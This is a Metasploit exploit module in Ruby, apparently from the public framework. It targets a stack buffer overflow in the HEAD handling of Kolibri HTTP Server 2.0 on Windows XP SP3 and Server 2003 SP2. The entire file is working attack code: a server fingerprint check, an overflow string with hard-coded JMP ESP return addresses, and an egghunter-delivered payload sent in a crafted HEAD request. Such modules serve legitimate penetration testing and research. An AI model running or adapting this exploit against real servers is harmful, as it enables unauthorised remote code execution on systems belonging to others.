##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kolibri HTTP Server HEAD Buffer Overflow',
      'Description'    => %q{
        This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.
      },
      'Author'         =>
          [
            'mr_me <steventhomasseeley[at]gmail.com>', # msf
            'TheLeader',                            # original exploit
            'sinn3r',                               # msf commit
          ],
      'References'     =>
        [
          [ 'CVE', '2002-2268' ],
          [ 'OSVDB', '70808' ],
          [ 'BID', '6289' ],
          [ 'EDB', '15834' ],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 3000,
          'DisableNops' => true,
          'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP sp3',          { 'Ret' => 0x7E429353 } ] ,
          [ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
        ],
      'DisclosureDate' => '2010-12-26',
      'DefaultTarget'  => 0))
  end

  def check
    info = http_fingerprint
    if info and (info =~ /kolibri-2\.0/)
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    #7E429353    FFE4            JMP     ESP
    # For a reliable and large payload, we use an egg hunter
    # and direct RET to execute code
    print_status("Sending request...")
    eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
    sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
    sploit << eh_stub
    send_request_raw({
      'uri'     => "/" + sploit,
      'version' => '1.1',
      'method'  => 'HEAD',
      'headers' => {'Content-Type' => eh_egg},
    })

    handler
  end
end
